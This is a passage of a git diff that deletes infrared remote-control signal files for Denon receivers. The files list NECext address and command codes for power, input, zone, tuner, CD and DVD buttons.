05 00 00 -command: 67 00 00 00 -# -name: XM_9 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 68 00 00 00 -# -name: XM_0 -type: parsed -protocol: NECext -address: 07 05 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir deleted file mode 100644 index 3da4b0903..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 02 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 02 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 03 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 03 00 00 00 -# -name: MAIN_ON -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 06 00 00 00 -# -name: MAIN_OFF -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 07 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 19 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1F 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 30 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 30 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 31 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 32 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 32 00 00 00 -# -name: INPUT_CD-R -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 33 00 00 00 -# -name: INPUT_IPOD -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 3B 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 3B 00 00 00 -# -name: INPUT_DVD/VDP -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 40 00 00 00 -# -name: DVD/VDP -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 40 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 45 00 00 00 -# -name: INPUT_V.AUX -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 49 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 50 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 50 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 51 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 51 00 00 00 -# -name: CHAN_+ -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 52 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 52 00 00 00 -# -name: CHAN_- -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 53 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 53 00 00 00 -# -name: TUNER_SHIFT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 54 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 54 00 00 00 -# -name: TUNER_FM/AM -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 57 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 57 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 58 00 00 00 -# -name: TUNER_XM_RADIO -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 5B 00 00 00 -# -name: XM_RADIO -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 5B 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 5C 00 00 00 -# -name: TUNER_MODE -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 5C 00 00 00 -# -name: TUNE_MEMORY -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 60 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 60 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 76 00 00 00 -# -name: +10_SEARCH -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 78 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 78 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 103 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 110 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 111 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 112 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 112 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 170 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 190 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 07 06 00 00 -command: 1A0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir deleted file mode 100644 index 07c0deb63..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z2_ON -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: Z2_OFF -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: Z2_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: Z2_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: Z2_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Z2_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: Z2_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: Z2_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: Z2_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: Z2_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 17 00 00 00 -# -name: Z2_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 18 00 00 00 -# -name: Z2_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 19 00 00 00 -# -name: Z2_INPUT_PHONO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 30 00 00 00 -# -name: Z2_PHONO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 30 00 00 00 -# -name: Z2_INPUT_TUNER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 31 00 00 00 -# -name: Z2_TUNER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 31 00 00 00 -# -name: Z2_INPUT_CD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 32 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 32 00 00 00 -# -name: Z2_INPUT_CD-R_TAP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 33 00 00 00 -# -name: Z2_CD-R/TAPE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 33 00 00 00 -# -name: Z2_INPUT_IPOD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3B 00 00 00 -# -name: Z2_INPUT_DVD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 40 00 00 00 -# -name: Z2_DVD/VDP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 40 00 00 00 -# -name: Z2_INPUT_VCR -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: Z2_VCR -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: Z2_INPUT_V.AUX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: Z2_V.AUX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: Z2_BAND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: Z2_SEARCH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 78 00 00 00 -# -name: Z2_A_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 80 00 00 00 -# -name: Z2_B_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 81 00 00 00 -# -name: Z2_C_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 82 00 00 00 -# -name: Z2_D_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 83 00 00 00 -# -name: Z2_E_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 84 00 00 00 -# -name: Z2_F_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 85 00 00 00 -# -name: Z2_G_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 86 00 00 00 -# -name: Z2_VOLUME_+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 110 00 00 00 -# -name: Z2_VOLUME_- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 111 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir deleted file mode 100644 index b14f8f6ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z3_ON -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 06 00 00 00 -# -name: ZONE_3_ON -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 06 00 00 00 -# -name: Z3_OFF -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 07 00 00 00 -# -name: ZONE_3_OFF -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 07 00 00 00 -# -name: Z3_1 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 10 00 00 00 -# -name: Z3_2 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 11 00 00 00 -# -name: Z3_3 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 12 00 00 00 -# -name: Z3_4 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 13 00 00 00 -# -name: Z3_5 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 14 00 00 00 -# -name: Z3_6 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 15 00 00 00 -# -name: Z3_7 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 16 00 00 00 -# -name: Z3_8 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 17 00 00 00 -# -name: Z3_9 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 18 00 00 00 -# -name: Z3_0 -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 19 00 00 00 -# -name: Z3_INPUT_PHONO -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 30 00 00 00 -# -name: Z3_PHONO -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 30 00 00 00 -# -name: Z3_INPUT_TUNER -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 31 00 00 00 -# -name: Z3_TUNER -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 31 00 00 00 -# -name: Z3_INPUT_CD -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 32 00 00 00 -# -name: Z3_CD -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 32 00 00 00 -# -name: Z3_INPUT_CD-R_TAP -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 33 00 00 00 -# -name: Z3_CD-R/TAPE -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 33 00 00 00 -# -name: Z3_INPUT_IPOD -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 3B 00 00 00 -# -name: Z3_INPUT_DVD -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 40 00 00 00 -# -name: Z3_DVD/VDP -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 40 00 00 00 -# -name: Z3_INPUT_VCR -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 45 00 00 00 -# -name: Z3_VCR -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 45 00 00 00 -# -name: Z3_INPUT_V.AUX -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 49 00 00 00 -# -name: Z3_V.AUX -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 49 00 00 00 -# -name: Z3_BAND -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 58 00 00 00 -# -name: Z3_SEARCH -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 78 00 00 00 -# -name: Z3_A_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 80 00 00 00 -# -name: Z3_B_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 81 00 00 00 -# -name: Z3_C_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 82 00 00 00 -# -name: Z3_D_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 83 00 00 00 -# -name: Z3_E_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 84 00 00 00 -# -name: Z3_F_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 85 00 00 00 -# -name: Z3_G_MEM_BLOCK -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 86 00 00 00 -# -name: Z3_VOLUME_+ -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 110 00 00 00 -# -name: Z3_VOLUME_- -type: parsed -protocol: NECext -address: 07 08 00 00 -command: 111 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir deleted file mode 100644 index 2e484e374..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir +++ /dev/null @@ -1,632 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD-FF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_SEARCH_>>_(>>) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD-RW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_SEARCH_<<_(<<) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD-SEARCH+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD_SCAN_FWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD-SEACH- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_SCAN_REV_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: CD-PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: PAUSE_A/B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: CD-PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: CD_PAUSE_(A/B) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: CD-STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 64 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 65 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 66 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 67 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 68 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 69 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: CD_DISC_SKIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: SKIP_+_REV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD_DISC_SKIP_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD_DISC_SKIP_+_(POW) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD-SKIP_DISC+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD_DISC_SKIP_(<) -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 81 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 84 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 87 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 88 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8C 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8D 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 90 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 91 00 00 00 -# -name: DVD-MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 91 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 92 00 00 00 -# -name: DVD-RETURN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 92 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: DVD-FF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 98 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: DVD-RW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 99 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: DVD-SEARCH+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9A 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: DVD-SEARCH- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9D 00 00 00 -# -name: DVD-PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A0 00 00 00 -# -name: DVD-PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A1 00 00 00 -# -name: DVD-STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A1 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A4 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A5 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A6 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A7 00 00 00 -# -name: DVD-DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A7 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A8 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: A9 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AB 00 00 00 -# -name: DVD-DISC_SKIP+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AB 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: DVD-CURSOR_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AC 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: DVD-CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AD 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: DVD-CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AE 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: DVD-CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: AF 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: DVD-POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: B1 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: DVD-SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BB 00 00 00 -# -name: DVD-DVD_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: DVD-TITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir deleted file mode 100644 index 5f4bfe73b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_TV/VCR_(CINEMA) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_VOLUME_^_(CENTER) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: TV_VOLUME_V_(CENTER) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: TV_POWER_(AVSE) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: TV_CHANNEL_V_(DELAY) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_^_(DELAY) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir deleted file mode 100644 index bbe7ae51c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_FFWD_>>_(SURR) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR_REW_<<_(2) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR_STOP_[]_(PARAMTR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: VCR_PLAY_>_(CTR_MODE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VCR_TV/VCR_(EFFECT) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR_POWER_(CLEAR) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VCR_CHAN_V_(INPT_ADJ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR_CHAN_^_(T_TONE) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR_PAUSE_(SET_+) -type: parsed 